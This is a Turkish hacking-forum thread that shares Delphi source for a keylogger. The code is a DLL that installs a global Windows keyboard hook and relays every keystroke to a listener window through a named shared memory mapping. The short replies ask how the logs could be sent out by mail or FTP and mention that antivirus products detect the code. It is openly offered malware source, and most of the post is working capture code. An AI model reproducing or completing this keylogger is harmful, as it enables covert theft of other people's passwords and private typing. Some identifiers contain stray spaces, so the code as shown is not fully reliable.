Forum
Aktif konular
Üyeler
Kurallar
Arama
Bi Key Logger Kaynak Kodu.. Bi Key Logger Kaynak Kodu..
-
Bİ KEYLOGGER KAYNAK KODU:
library KBHook;
uses
Windows,
Messages;
type
PHWND = ^HWND;
const
WM_KEYBOARD_HOOK = WM_USER + 52012;
var
hHook: LongWord = 0;
Key: Word;
KeyboardLayout: HKL;
GetShiftKeys: Boolean;
hWndBuffer: PHWND;
hMMF: THandle;
function KeyboardProc(nCode: Integer; wParam: LongWord; lParam: LongWord): LongWord; stdcall;
var
LastKey: Char;
KeyState: TKeyboardState;
begin
Result:=CallNextHookEx(hHook,nCode,wParam,lParam);
if nCode<0 then
Exit
else begin
KeyboardLayout:=GetKeyboardLayout(0);
GetKeyboardState(KeyState);
if ToAsciiEx(wParam,MapVirtualKeyEx(wParam,2,Keyboard Layout),KeyState,@LastKey,0,KeyboardLayout)>0 then
Key:=Ord(LastKey)
else
Key:=wParam;
if (lParam and $80000000)=0 then
if not (wParam in [16,17,18]) or GetShiftKeys then
PostMessage(hwndBuffer^,WM_KEYBOARD_HOOK,Key,GetAc tiveWindow);
end;
end;
function CreateHook(hWnd: HWND; ShiftKeys: Boolean): Boolean; stdcall;
var
bHWND: PHWND;
begin
hMMF:=CreateFileMapping($FFFFFFFF,nil,PAGE_READWRI TE or SEC_COMMIT,0,SizeOf(hWnd),'((¯¨¤»TuRKi$H_CoDeR«¤¨¯ ))KeyboardHookHandle');
bHWND:=MapViewOfFile(hMMF,FILE_MAP_WRITE,0,0,SizeO f(HWND));
bHWND^:=hWnd;
UnmapViewOfFile(bHWND);
GetMem(hWndBuffer,SizeOf(HWND));
hWndBuffer^:=hWnd;
GetShiftKeys:=ShiftKeys;
if hHook=0 then
hHook:=SetWindowsHookEx(WH_KEYBOARD,@KeyboardProc, hInstance,0);
Result:=hHook<>0;
end;
function DeleteHook: Boolean; stdcall;
begin
FreeMem(hWndBuffer);
CloseHandle(hMMF);
Result:=UnhookWindowsHookEx(hHook);
hHook:=0;
end;
exports
CreateHook,
DeleteHook;
var
MMF: THandle;
begin
MMF:=OpenFileMapping(FILE_MAP_READ,false,'((¯¨¤»Tu RKi$H_CoDeR«¤¨¯))KeyboardHookHandle');
if MMF<>0 then begin
hWndBuffer:=MapViewOfFile(MMF,FILE_MAP_READ,0,0,Si zeOf(HWND));
CloseHandle(MMF);
end;
end.__________________
-
lan kimseninmi işine yaramadı??
-
bende ona bakıodum bi mailemi gönderio yoksa ftp'ye falanmı :)
-
bu kod sadece hangi tuşlara basıldığını gösterir. gerisi size kalmış.
-
Merhabalar.Bu keylogger kodu Kaspersky ve NOD32 tarafından engelleniyor
Kısayol
Şikayet
Özel Mesaj
Alıntı yap
Toplam Hit: 2486 Toplam Mesaj: 5
Cevapla